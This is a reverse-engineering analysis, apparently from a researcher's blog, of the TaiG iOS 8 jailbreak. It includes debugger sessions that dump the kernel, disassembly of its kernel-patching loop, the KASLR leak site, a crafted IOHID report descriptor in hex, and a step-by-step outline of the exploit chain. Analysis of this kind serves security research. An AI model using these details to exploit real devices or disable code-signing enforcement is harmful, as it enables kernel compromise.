# Breakpoint - at the kernel memory reader (lldb) b taig.2.4.3`___lldb_unnamed_function120$$taig.2.4.3 Breakpoint 1: where = taig.2.4.3`___lldb_unnamed_function120$$taig.2.4.3, address = 0x000000010000e01c # The usual breakpoint to get TaiG to rejailbreak (lldb) b task_for_pid Breakpoint 2: no locations (pending). WARNING: Unable to resolve breakpoint to any actual locations.(lldb) r Process 287 launched: '/taig/taig.2.4.3' (arm64) Process 287 stopped * thread #1: tid = 0x099e, 0x0000000195a84e94 libsystem_kernel.dylib`task_for_pid, queue = 'com.apple.main-thread', stop reason = breakpoint 2.1 frame #0: 0x0000000195a84e94 libsystem_kernel.dylib`task_for_pid libsystem_kernel.dylib`task_for_pid: -> 0x195a84e94: movn x16, #44 0x195a84e98: svc #128 0x195a84e9c: ret # Usual workaround: (lldb) reg write pc 0x195a84e9c (lldb) c ... .. .. Process 287 resuming Process 287 stopped * thread #1: tid = 0x099e, 0x00000001000ba1e8 taig.2.4.3`___lldb_unnamed_function120$$taig.2.4.3 + 460, queue = 'com.apple.main-thread', stop reason = breakpoint 3.1 frame #0: 0x00000001000ba1e8 taig.2.4.3`___lldb_unnamed_function120$$taig.2.4.3 + 460 taig.2.4.3`___lldb_unnamed_function120$$taig.2.4.3 + 460: -> 0x1000ba1e8: mov x0, x20 0x1000ba1ec: mov x1, x22 0x1000ba1f0: mov x2, x19 0x1000ba1f4: bl 0x1000c50fc ; symbol stub for: memcpy # Set breakpoint at 0x1000e1e8 (accommodating slide) (lldb) b 0x1000ba1e8 Breakpoint 3: where = taig.2.4.3`___lldb_unnamed_function120$$taig.2.4.3 + 460, address = 0x00000001000ba1e8 (lldb) c Process 287 resuming Process 287 stopped * thread #1: tid = 0x099e, 0x00000001000ba1e8 taig.2.4.3`___lldb_unnamed_function120$$taig.2.4.3 + 460, queue = 'com.apple.main-thread', stop reason = breakpoint 3.1 frame #0: 0x00000001000ba1e8 taig.2.4.3`___lldb_unnamed_function120$$taig.2.4.3 + 460 taig.2.4.3`___lldb_unnamed_function120$$taig.2.4.3 + 460: -> 0x1000ba1e8: mov x0, x20 0x1000ba1ec: mov x1, x22 0x1000ba1f0: mov x2, x19 0x1000ba1f4: bl 0x1000c50fc ; symbol stub for: memcpy (lldb) reg read x20 x22 x19 x20 = 0x0000000100310000 # Empty (copy to here) x22 = 0x00000001016c4000 # Surprise! x19 = 0x00000000013a5000 # a lot of bytes here # Lookie here :-) (lldb) mem read $x22 0x1016c4000: cf fa ed fe 0c 00 00 01 00 00 00 00 02 00 00 00 ................ 0x1016c4010: 0f 00 00 00 f0 0a 00 00 01 00 20 00 00 00 00 00 .......... ..... 0x1016c4020: 19 00 00 00 38 01 00 00 5f 5f 54 45 58 54 00 00 ....8...__TEXT.. 0x1016c4030: 00 00 00 00 00 00 00 00 00 20 20 0a 80 ff ff ff ......... ..... # Make your own kernel dump (lldb) mem read -b $x22 -r -c 0x00000000013a5000 -o /tmp/dump 20598784 bytes written to '/tmp/dump'

And if you get that dump.. examine it with Jtool and see:

Phontifex:~ root# jtool -l /tmp/dump LC 00: LC_SEGMENT_64 Mem: 0xffffff800a202000-0xffffff800a696000 __TEXT Mem: 0xffffff800a203000-0xffffff800a637634 __TEXT.__text (Normal) Mem: 0xffffff800a637640-0xffffff800a65d738 __TEXT.__const Mem: 0xffffff800a65d738-0xffffff800a695b10 __TEXT.__cstring (C-String Literals) LC 01: LC_SEGMENT_64 Mem: 0xffffff800a696000-0xffffff800a750000 __DATA Mem: 0xffffff800a696000-0xffffff800a696208 __DATA.__mod_init_func (Module Init Function Ptrs) Mem: 0xffffff800a696208-0xffffff800a696408 __DATA.__mod_term_func (Module Termination Function Ptrs) Mem: 0xffffff800a698000-0xffffff800a6b5650 __DATA.__const Mem: 0xffffff800a6b8000-0xffffff800a6e54d8 __DATA.__data Mem: 0xffffff800a6e54d8-0xffffff800a6e7188 __DATA.__sysctl_set Mem: 0xffffff800a6e8000-0xffffff800a74d620 __DATA.__bss (Zero Fill) Mem: 0xffffff800a74e000-0xffffff800a74f118 __DATA.__common (Zero Fill) LC 02: LC_SEGMENT_64 Mem: 0xffffff800a750000-0xffffff800a752000 __KLD Mem: 0xffffff800a750000-0xffffff800a751250 __KLD.__text (Normal) Mem: 0xffffff800a751250-0xffffff800a751958 __KLD.__cstring (C-String Literals) Mem: 0xffffff800a751958-0xffffff800a7519c0 __KLD.__const Mem: 0xffffff800a7519c0-0xffffff800a7519c8 __KLD.__mod_init_func (Module Init Function Ptrs) Mem: 0xffffff800a7519c8-0xffffff800a7519d0 __KLD.__mod_term_func (Module Termination Function Ptrs) Mem: 0xffffff800a7519d0-0xffffff800a7519d1 __KLD.__bss (Zero Fill) LC 03: LC_SEGMENT_64 Mem: 0xffffff800a752000-0xffffff800a753000 __LAST Mem: 0xffffff800a752000-0xffffff800a752008 __LAST.__mod_init_func (Module Init Function Ptrs) Mem: 0xffffff800a752008-0xffffff800a752008 __LAST.__last (Zero Fill) LC 04: LC_SEGMENT_64 Mem: 0xffffff800a7ab000-0xffffff800b521000 __PRELINK_TEXT Mem: 0xffffff800a7ab000-0xffffff800b521000 __PRELINK_TEXT.__text LC 05: LC_SEGMENT_64 Mem: 0xffffff800a753000-0xffffff800a753000 __PRELINK_STATE Mem: 0xffffff800a753000-0xffffff800a753000 __PRELINK_STATE.__kernel Mem: 0xffffff800a753000-0xffffff800a753000 __PRELINK_STATE.__kexts LC 06: LC_SEGMENT_64 Mem: 0xffffff800b521000-0xffffff800b5a7000 __PRELINK_INFO Mem: 0xffffff800b521000-0xffffff800b5a67b7 __PRELINK_INFO.__info LC 07: LC_SEGMENT_64 Mem: 0xffffff800a753000-0xffffff800a7aab70 __LINKEDIT LC 08: LC_SYMTAB Symbol table is at offset 0x511e38 (5316152), 4267 entries String table is at offset 0x5228e8 (5384424), 127624 bytes LC 09: LC_DYSYMTAB No local symbols 4267 external symbols at index 0 No undefined symbols No TOC No modtab No Indirect symbols LC 10: LC_UUID UUID: 5682267E-8E60-3FB0-8F71-C58CE2DBCF4D LC 11: LC_VERSION_MIN_IPHONEOS Minimum iOS version: 8.4.0 LC 12: LC_SOURCE_VERSION Source Version: 2784.30.7.0.0 LC 13: LC_UNIXTHREAD Entry Point: 0xffffff80020df058 LC 14: LC_FUNCTION_STARTS Offset: 5300104, Size: 16048 (0x50df88-0x511e38) with 0 functions

You can now figure out the mystery address used to leak KASLR: Disassembling from file offset 0xacb70, Address 0xffffff800a2aeb70 to next symbol ffffff800a2aeb70 LDR W8, [X19, #52]..?? ffffff800a2aeb74 ORR W8, W8, #0x20000 ffffff800a2aeb78 STR W8, [X19, #52]; *((0x0) + 0x34) *0x34 = X8 0x3f3f3f3f ffffff800a2aeb7c ADRP x8, 1157; ->R8 = 0xffffff800a733000 ffffff800a2aeb80 ADD X8, X8, #1744; ..R8 = R8 (0xffffff800a733000) + 0x6d0 = 0xffffff800a7 336d0 ffffff800a2aeb84 LDR W9, [X8, #1800]; R9 = *(R8(0xffffff800a7336d0) + 0x708) = *(0xffffff8 00a733dd8) ffffff800a2aeb88 ADD W9, W9, #1; ..R9 = R9 (0x3f3f3f3f) + 0x1 = 0x3f3f3f40 ffffff800a2aeb8c STR W9, [X8, #1800]; *((0xffffff800a7336d0) + 0x708) *0xffffff800a733dd8 = X9 0x3f3f3f40 ffffff800a2aeb90 LDR W9, [X8, #1640]; R9 = *(R8(0xffffff800a7336d0) + 0x668) = *(0xffffff800a733d38) ffffff800a2aeb94 ADD W9, W9, #1; ..R9 = R9 (0x3f3f3f3f) + 0x1 = 0x3f3f3f40 ffffff800a2aeb98 STR W9, [X8, #1640]; *((0xffffff800a7336d0) + 0x668) *0xffffff800a733d38 = X9 0x3f3f3f40 ffffff800a2aeb9c SUB X31, X29, #48 ffffff800a2aeb9c SUB X31, X29, #48 ffffff800a2aeba0 LDP X29, X30, [SP,#48] ffffff800a2aeba4 LDP X20, X19, [SP,#32] ffffff800a2aeba8 LDP X22, X21, [SP,#16] ffffff800a2aebac LDP X24, X23, [SP],#64 ffffff800a2aebb0 RET # Note this function ffffff800a2aebb4 STR XZR, [SP, #0]; *(SP + 0x0) = X31 0x0 ffffff800a2aebb8 ADRP x8, 958; ->R8 = 0xffffff800a66c000 "moryCursor" ffffff800a2aebbc ADD X8, X8, #1410; ..R8 = R8 (0xffffff800a66c000) + 0x582 = 0xffffff800a66c582 ""Invalid queue element %p"" ffffff800a2aebc0 MOV X0, X8 ffffff800a2aebc4 BL 0xffffff800a22247c ; 0xffffff800a22247c ffffff800a2aebc8 B 0xffffff800a2ae928 ; 0xffffff800a2ae928 # Look for that string in the sources... and... Zephyr:xnu-2782.1.97 morpheus$ find . -type f | xargs grep "Invalid queue element %p" ./osfmk/kern/queue.h: panic("Invalid queue element %p", elt);

That 0xffffff800a22247c is panic, which has never failed to provide a ton of symbolication hints :-). The panic is coming from the __QUEUE_ELT_VALIDATE macro. You can figure out the rest.

Kernel patching, etc

Kernel patches are handled by function #83, called shortly after #122 in mess_with_kernel_mem(88). The patches are handled thus:

_calls_kernel_patchers(83): 10000c2d8 a9bc5ff8 STP X24, X23, [SP,#-64]! 10000c2dc a90157f6 STP X22, X21, [SP,#16] 10000c2e0 a9024ff4 STP X20, X19, [SP,#32] 10000c2e4 a9037bfd STP X29, X30, [SP,#48] 10000c2e8 9100c3fd ADD X29, SP, #48 10000c2ec aa0203f6 *MOV X22, X2 10000c2f0 aa0103f3 *MOV X19, X1 10000c2f4 aa0003f4 *MOV X20, X0 10000c2f8 94000dbb BL _get_kernel_base ; 0x10000f9e4 10000c2fc aa0003f5 *MOV X21, X0 10000c300 d2800017 MOVZ X23, #0 10000c304 93407ed6 ASR X22, X22, #0 10000c308 10082118 ADR x24, 66592 10000c30c d503201f NOP loop: 10000c310 f8410708 -LDR X8, [X24], #16 => 0x100006ff0 10000c314 aa1503e0 *MOV X0, X21 10000c318 aa1303e1 *MOV X1, X19 10000c31c aa1603e2 *MOV X2, X22 10000c320 d63f0100 BLR X8 10000c324 f8376a80 STR X0, [X20, xX23] .. 10000c328 910022f7 ADD X23, X23, #8 0x8 10000c32c f103c2ff CMP X23, #240 10000c330 54ffff01 B.NE loop ; 0x10000c310 10000c334 52800000 MOVZ W0, #0 10000c338 a9437bfd LDP X29, X30, [SP,#48] 10000c33c a9424ff4 LDP X20, X19, [SP,#32] 10000c340 a94157f6 LDP X22, X21, [SP,#16] 10000c344 a8c45ff8 LDP X24, X23, [SP],#64 10000c348 d65f03c0 RET

As you can see, this is a loop that iterates over function pointers from 0x10001c728. The loop iterates for over 30 pointers (240). Dumping with jtool you'll see:

bash-3.2$ jtool --jtooldir ~/Documents/iOS/JB/TaiG8.3 -arch arm64 -d 0x10001c728,240 ~/Documents/iOS/JB/TaiG8.3/taig.2.4.3 Opened companion File: /Users/morpheus/Documents/iOS/JB/TaiG8.3/taig.2.4.3.ARM64.3634B551-1F4D-356D-B8C7-EB4DA69056FD Loading symbols... Dumping from address 0x10001c728 (Segment: __DATA.__const) 0x10001c728: a8 6f 00 00 01 00 00 00 _patch_1(5) 0x10001c730: c3 ad 01 00 01 00 00 00 "" 0x10001c738: f0 6f 00 00 01 00 00 00 _patch_2(6) 0x10001c740: c3 ad 01 00 01 00 00 00 "" 0x10001c748: 60 6f 00 00 01 00 00 00 _patch_3(4) 0x10001c750: c3 ad 01 00 01 00 00 00 "" 0x10001c758: 38 70 00 00 01 00 00 00 _patch_4(7) 0x10001c760: c3 ad 01 00 01 00 00 00 "" 0x10001c768: 80 70 00 00 01 00 00 00 _patch_5(8) 0x10001c770: c3 ad 01 00 01 00 00 00 "" 0x10001c778: c8 70 00 00 01 00 00 00 _patch_6(9) 0x10001c780: c3 ad 01 00 01 00 00 00 "" 0x10001c788: 68 73 00 00 01 00 00 00 _patch_7(11) (security.mac.proc_enforce) 0x10001c790: c3 ad 01 00 01 00 00 00 "" 0x10001c798: ec 73 00 00 01 00 00 00 _patch_8 (security.mac.vnode_enforce) 0x10001c7a0: c3 ad 01 00 01 00 00 00 "" 0x10001c7a8: 70 74 00 00 01 00 00 00 _patch_9 (code signature) 0x10001c7b0: c3 ad 01 00 01 00 00 00 "" 0x10001c7b8: 5c 85 00 00 01 00 00 00 _patch_10 0x10001c7c0: c3 ad 01 00 01 00 00 00 "" 0x10001c7c8: ec 86 00 00 01 00 00 00 _patch_11 0x10001c7d0: c3 ad 01 00 01 00 00 00 "" 0x10001c7d8: 5c 87 00 00 01 00 00 00 _patch_12 0x10001c7e0: c3 ad 01 00 01 00 00 00 "" 0x10001c7e8: 7c 88 00 00 01 00 00 00 _patch_13 0x10001c7f0: c3 ad 01 00 01 00 00 00 "" 0x10001c7f8: 58 76 00 00 01 00 00 00 _patch_14 0x10001c800: c3 ad 01 00 01 00 00 00 "" 0x10001c808: 78 77 00 00 01 00 00 00 _patch_15 0x10001c810: c3 ad 01 00 01 00 00 00 "" 0x10001c818: 90 78 00 00 01 00 00 00 _patch_16 0x10001c820: c3 ad 01 00 01 00 00 00 "" 0x10001c828: 9c 79 00 00 01 00 00 00 _patch_17 0x10001c830: c3 ad 01 00 01 00 00 00 "" 0x10001c838: 18 7a 00 00 01 00 00 00 _patch_18 0x10001c840: c3 ad 01 00 01 00 00 00 "" 0x10001c848: ac 7a 00 00 01 00 00 00 _patch_19 0x10001c850: c3 ad 01 00 01 00 00 00 "" 0x10001c858: 94 7b 00 00 01 00 00 00 _patch_20 (BBBBBBBBGGGGGGGGRRRRRRRR) 0x10001c860: c3 ad 01 00 01 00 00 00 "" 0x10001c868: c0 7c 00 00 01 00 00 00 _patch_21 (.HFS+ Private Directory Data) 0x10001c870: c3 ad 01 00 01 00 00 00 "" 0x10001c878: 50 7d 00 00 01 00 00 00 _patch_22 0x10001c880: c3 ad 01 00 01 00 00 00 "" 0x10001c888: 44 7e 00 00 01 00 00 00 _patch_23 0x10001c890: c3 ad 01 00 01 00 00 00 "" 0x10001c898: 08 7f 00 00 01 00 00 00 _patch_24 0x10001c8a0: c3 ad 01 00 01 00 00 00 "" 0x10001c8a8: 7c 7f 00 00 01 00 00 00 _patch_25 0x10001c8b0: c3 ad 01 00 01 00 00 00 "" 0x10001c8b8: 18 80 00 00 01 00 00 00 _patch_26 0x10001c8c0: c3 ad 01 00 01 00 00 00 "" 0x10001c8c8: 2c 81 00 00 01 00 00 00 _patch_27 0x10001c8d0: c3 ad 01 00 01 00 00 00 "" 0x10001c8d8: 44 82 00 00 01 00 00 00 _patch_28 0x10001c8e0: c3 ad 01 00 01 00 00 00 "" 0x10001c8e8: 5c 83 00 00 01 00 00 00 _patch_29 0x10001c8f0: c3 ad 01 00 01 00 00 00 "" 0x10001c8f8: 68 84 00 00 01 00 00 00 _patch_30 0x10001c900: c3 ad 01 00 01 00 00 00 ""

I symbolicated a few of the key patches in the companion file (hence the jtool output. The (same) Null strings imply there might have been a patch description there at some point, but it's been removed.

Anyway, from here on it's pretty straightforward.

The high level view

To summarize:

Get an IOKit ref to "IOHIDResource" (The old faithful IOHIDFamily export)

Craft the following $#%#$%$#% up IOReportDescriptor: // // At this point our descriptor is as follows - // 0x16fd5dce8: 07 fe ff ff ff 27 ff ff ff ff 17 ff ff ff ff 47 // 0x16fd5dcf8: ff ff ff ff 37 ff ff ff ff a7 00 00 00 00 b7 00 // 0x16fd5dd08: 00 00 00 a3 fd ff ff ff 07 00 00 00 00 0a 00 00 // 0x16fd5dd18: 27 00 00 00 00 17 00 00 00 00 47 00 00 00 00 37 // 0x16fd5dd28: 00 00 00 00 67 00 00 00 00 57 00 00 00 00 77 08 // 0x16fd5dd38: 00 00 00 97 ff 00 00 00 87 01 00 00 00 93 03 00 // 0x16fd5dd48: 00 00 07 00 00 00 00 0a 00 00 27 00 00 00 00 17 // 0x16fd5dd58: 00 00 00 00 47 00 00 00 00 37 00 00 00 00 67 00 // 0x16fd5dd68: 00 00 00 57 00 00 00 00 77 08 00 00 00 97 ff 00 // 0x16fd5dd78: 00 00 87 02 00 00 00 93 03 00 00 00 c3 00 00 00

Create a fake IOHID Device by calling IOHIDResourceDeviceUserClient::_createDevice with the nasty Report Descriptor. This will show up in IOReg as one crazy structure.

with the nasty Report Descriptor. This will show up in IOReg as one crazy structure. exhaust_IOKit_By_opening a large number of descriptors

Try some feng shui, to let the good energy of predictable fortune in

Subject IOKit to more torture by opening up another large number of descriptors..

Craft a Mach message

Get data out of kernel by calling IOHIDLibUserClient::GetElements and UpdateElementValues, which leak memory

Get Mach message back, with memory

Do above as many times as necessary to effectively get all of kernel space to user space

apply patches

commit back (left as exercise for reader, else I'd never finish this!)

Done

Final notes

If you didn't skip it all, and think that was a lot of work to follow along - just imagine how much work it is to reverse it :-) And this *is* a tad simplified. There's some IOConnectTraps I ignored, and other portions of the code which aren't that important. It was still a considerable amount of work. Fortunately, I've managed to improve jtool considerably during the process (since I don't use IDA, it's either my tool or (n)otool..), and I hope that the HTML output is legible enough. But really, think of how much work one would need to a) find the bugs b) exploit them and c) get it right every single time. Pretty amazing.

When TaiG was out, there was some rant on TWTR whether or not it was "stealing" any code, specifically libTar and/or PlanetBeing's.. As the above shows, TaiG did in fact use libtar. And the 32-bit planetbeing patch finder. The former, likely for convenience (without stating the free license! SHAME, TaiG! Shame!). The latter, one can't copyright (locking onto the same signature and modifying it necessitates the same code). In the 64 bit case, the code is entirely original, as PlanetBeing (AFAICT) never got to support ARM64. Incidentally, if anyone wants the 64-bit patches, drop me a line. A side effect of this is I have them reversed (and copyright/license free :-).

Yes, one can complain about licenses and theft. But, seriously, who the heck cares when the technical mastery required to pull this off (not to mention burning 5-6 exploits) outdoes coding a measly tar implementation by parsecs?

If you'd like to comment, I suggest the Book's website forum.

If you're interested in more OS X and/or iOS reversing, my company provides a special course just for that, with our next one set for December. Alternatively, bring us your binaries - it's a service we offer :-) (Email Info@{the tg website} for details on either training or consulting)

Stay tuned for the 2nd edition of MOXiI, which will both update the 1st edition past 10.7/5.0 into 10.11/9.0, and provide an unprecedented level of detail on both OSes! Our training already does!